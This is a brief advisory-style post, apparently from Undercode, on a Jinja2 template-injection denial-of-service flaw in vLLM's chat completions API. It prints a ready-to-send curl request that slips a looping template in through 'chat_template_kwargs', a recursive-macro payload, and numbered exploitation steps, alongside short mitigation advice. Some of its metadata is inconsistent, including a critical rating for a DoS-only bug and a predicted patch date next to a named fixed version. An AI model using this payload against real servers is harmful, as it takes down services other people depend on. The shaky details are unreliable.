Listen to this Post
The vulnerability (CVE-2024-5372) in vLLM’s OpenAI-Compatible API server stems from insufficient validation of user-supplied Jinja2 templates. The `/v1/chat/completions` endpoint accepts `chat_template` and `chat_template_kwargs` parameters, which are directly passed to the `apply_hf_chat_template` function for rendering conversation history. An attacker can supply a malicious Jinja2 template containing complex logic, such as recursive includes or infinite loops. When the server processes this template, the Jinja2 engine attempts to render it, consuming excessive CPU cycles and memory. Crucially, the code constructs a dictionary of keyword arguments for `apply_hf_chat_template` and updates it with user-supplied `chat_template_kwargs` using dict.update(). This allows an attacker to bypass any client-side checks for the `chat_template` parameter by instead providing a `chat_template` key inside chat_template_kwargs, thereby injecting their malicious payload and causing a full denial-of-service condition.
Platform: vLLM
Version: < 0.5.6
Vulnerability: SSTI DoS
Severity: Critical
date: 2024-11-12
Prediction: Patch 2024-11-19
What Undercode Say:
curl -X POST http://vllm-server:8000/v1/chat/completions \
-H "Content-Type: application/json" \
-d '{
"model": "mistralai/Mistral-7B-Instruct-v0.1",
"messages": [{"role": "user", "content": "test"}],
"chat_template_kwargs": {
"chat_template": "{% for i in range(1000000) %}{{ i }}{% endfor %}"
}
}'
Malicious Jinja2 template causing resource exhaustion
malicious_template = """
{% macro recursive() %}
{{ recursive() }}
{% endmacro %}
{{ recursive() }}
"""
How Exploit:
Craft malicious Jinja2 template with recursive macros or infinite loops. Inject via `chat_template` parameter or override it via chat_template_kwargs. Send HTTP POST request to `/v1/chat/completions` endpoint. Server CPU/Memory exhausts, causing denial-of-service.
Protection from this CVE
Upgrade to vLLM version 0.5.6. Sanitize user inputs. Disable custom template parameters in production. Implement rate limiting. Use WAF to filter malicious payloads.
Impact:
Complete service unavailability. Resource exhaustion (CPU/Memory). Affects all API endpoints accepting templates. No remote code execution.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
